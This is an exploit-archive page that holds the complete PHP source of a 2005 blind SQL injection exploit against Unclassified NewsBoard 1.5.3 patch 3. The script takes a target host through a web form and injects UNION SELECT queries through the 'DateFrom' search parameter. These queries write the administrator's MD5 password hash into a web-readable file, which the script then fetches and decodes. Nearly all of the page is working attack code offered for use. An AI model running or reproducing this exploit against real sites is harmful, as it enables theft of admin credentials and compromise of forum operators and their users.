Unclassified NewsBoard 1.5.3 Patch 3 - Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Unclassified NewsBoard 1.5.3 Patch 3 Blind SQL Injection Exploit by rgo

                                                &#60;?php
#   ---UNB153pl3_xpl.php                                      11.35 12/11/2005 #
#                                                                              #
#          Unclassified NewsBoard 1.5.3 patch level 3 &#34;Datefrom&#34; blind SQL     #
#                   injection /  Admin MD5 password hash dump                  #
#                              by rgod                                         #
#                  site: http://rgod.altervista.org                            #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun-tzu:&#34;If he is taking his ease, give him no rest. If his forces are      #
#  united, separate them.&#34;                                                     #

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62; Unclassified  NewsBoard  1.5.3pl3  blind  SQL injection
&#60;/title&#62;&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=iso-8859-1&#34;&#62;
&#60;style type=&#34;text/css&#34;&#62; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62;&#60;body&#62;&#60;p class=&#34;Stile6&#34;&#62;
Unclassified  NewsBoard  1.5.3pl3  blind  SQL  injection &#60;/p&#62;&#60;p class=&#34;Stile6&#34;&#62;a
script  by  rgod  at        &#60;a href=&#34;http://rgod.altervista.org&#34;target=&#34;_blank&#34;&#62;
http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62;&#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62;  &#60;form
name=&#34;form1&#34;      method=&#34;post&#34;   action=&#34;&#39;.$SERVER[PHP_SELF].&#39;?path=value&host=
value&port=value&proxy=value&#34;&#62; &#60;p&#62; &#60;input  type=&#34;text&#34;  name=&#34;host&#34;&#62;       &#60;span
class=&#34;Stile5&#34;&#62; * hostname (ex: www.sitename.com) &#60;/span&#62; &#60;/p&#62; &#60;p&#62;        &#60;input
type=&#34;text&#34; name=&#34;path&#34;&#62;   &#60;span class=&#34;Stile5&#34;&#62; * path ( ex: /unb/  or just / )
&#60;/span&#62;&#60;/p&#62;&#60;p&#62; &#60;input   type=&#34;text&#34; name=&#34;fullpath&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62; * full
path to site,  need  this for &#34;INTO OUTFILE&#34; statement (ex.: C:\\\www\\\site\\\)
&#60;/span&#62;&#60;/p&#62;&#60;p&#62;   &#60;input type=&#34;text&#34; name=&#34;table_prefix&#34;&#62;   &#60;span class=&#34;Stile5&#34;&#62;
specify a table  prefix other than the default (unb1_)&#60;/span&#62;      &#60;/p&#62;&#60;p&#62;&#60;input
type=&#34;text&#34;  name=&#34;port&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;specify  a  port  other  than  80
( default  value )  &#60;/span&#62;  &#60;/p&#62; &#60;p&#62;  &#60;input  type=&#34;text&#34;  name=&#34;proxy&#34;&#62;  &#60;span
class=&#34;Stile5&#34;&#62;  send  exploit  through  an  HTTP proxy (ip:port) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;
&#60;input type=&#34;submit&#34;name=&#34;Submit&#34; value=&#34;go!&#34;&#62; &#60;/p&#62; &#60;/form&#62; &#60;/td&#62; &#60;/tr&#62; &#60;/table&#62;
&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
while ($ii &#60;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
             for ($li=0; $li&#60;=15; $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
			    }
            $ki=$ki+16;
            echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
            }
if (strlen($datai)==1) {echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;} else
{echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;}
$ii++;
$ji++;
}
for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
                       }

for ($li=$ci*16; $li&#60;=strlen($headeri); $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
			    }
echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &#60; 0) {
                   echo &#34;socket_create() failed: reason: &#34; . socket_strerror($socket) . &#34;&#60;br&#62;&#34;;
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
                    echo &#34;OK.&#60;br&#62;&#34;;
                    echo &#34;Attempting to connect to &#34;.$host.&#34; on port &#34;.$port.&#34;...&#60;br&#62;&#34;;
                    if ($proxy==&#39;&#39;)
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(&#39;:&#39;,$proxy);
                   echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result &#60; 0) {
                                     echo &#34;socket_connect() failed.\r\nReason: (&#34;.$result.&#34;) &#34; . socket_strerror($result) . &#34;&#60;br&#62;&#60;br&#62;&#34;;
                                    }
	                       else
		                    {
                                     echo &#34;OK.&#60;br&#62;&#60;br&#62;&#34;;
                                     $html= &#39;&#39;;
                                     socket_write($socket, $packet, strlen($packet));
                                     echo &#34;Reading response:&#60;br&#62;&#34;;
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo &#34;Closing socket...&#34;;
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==&#39;&#39;)
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
	   $parts=explode(&#39;:&#39;,$proxy);
	    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo &#39;No response from proxy...&#39;;
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

    $html=&#39;&#39;;
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}


if (($host&#60;&#62;&#34;&#34;) and ($path&#60;&#62;&#34;&#34;) and ($fullpath&#60;&#62;&#34;&#34;))
{
$port=intval(trim($port));
if ($port==&#39;&#39;) {$port=80;}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($table_prefix==&#39;&#39;) {$table_prefix=&#34;unb1_&#34;;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

#STEP 1 -&#62; Dump Admin MD5 password hash...
$SQL=&#34;9999999999) UNION SELECT ORD(SUBSTRING(Password,1,1)),ORD(SUBSTRING(Password,2,1)),ORD(SUBSTRING(Password,3,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,4,1)),ORD(SUBSTRING(Password,5,1)),ORD(SUBSTRING(Password,6,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,7,1)),ORD(SUBSTRING(Password,8,1)),ORD(SUBSTRING(Password,9,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,10,1)),ORD(SUBSTRING(Password,11,1)),ORD(SUBSTRING(Password,12,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,13,1)),ORD(SUBSTRING(Password,14,1)),ORD(SUBSTRING(Password,15,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,16,1)),ORD(SUBSTRING(Password,17,1)),ORD(SUBSTRING(Password,18,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,19,1)),ORD(SUBSTRING(Password,20,1)),ORD(SUBSTRING(Password,21,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,22,1)),ORD(SUBSTRING(Password,23,1)),ORD(SUBSTRING(Password,24,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,25,1)),ORD(SUBSTRING(Password,26,1)),ORD(SUBSTRING(Password,27,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,28,1)),ORD(SUBSTRING(Password,29,1)),ORD(SUBSTRING(Password,30,1)) FROM &#34;.$table_prefix.&#34;users WHERE ID=1
                  UNION SELECT ORD(SUBSTRING(Password,31,1)),ORD(SUBSTRING(Password,32,1)),NULL INTO OUTFILE &#39;&#34;.$fullpath.&#34;suntzu&#39; FROM &#34;.$table_prefix.&#34;users WHERE ID=1/*&#34;;
$SQL=urlencode($SQL);
$packet=&#34;GET &#34;.$p.&#34;forum.php?req=search&Query=suntzu&ResultView=2&Sort=2&DateFrom=&#34;.$SQL.&#34;&DateUntil=&Forum=0 HTTP/1.1\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.&#34;:&#34;.$port.$path.&#34;forum.php?req=search&unb236sess=\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacketii($packet);


#STEP 2 -&#62; Retrieve dump and decode...
$packet=&#34;GET &#34;.$p.&#34;suntzu HTTP/1.1\r\n&#34;;
$packet.=&#34;Accept-Encoding: text/plain\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacketii($packet);

if (eregi(&#34;200 OK&#34;,$html))
{
$temp=explode(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html);
$dump=$temp[1];
$temp2=&#39;&#39;; $HASH=&#39;&#39;;
for ($i=0; $i&#60;=strlen($dump)-1; $i++)
{
  if (($dump[$i]==chr(0x09)) or ($dump[$i]==chr(0x0a)))
       {$HASH.=chr($temp2); $temp2=&#39;&#39;;}
  else
     {$temp2.=$dump[$i]; if ($temp2==&#34;\N&#34;) {break;} }
}
echo &#34;&#60;br&#62;Exploit succeeded -&#62; &#34;.$HASH;
}
else
{echo &#34;Exploit failed...&#34;;}
}
else
{echo &#34;Fill * requested fields, optionally specify a proxy...&#34;;}

?&#62;

# milw0rm.com [2005-11-14]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1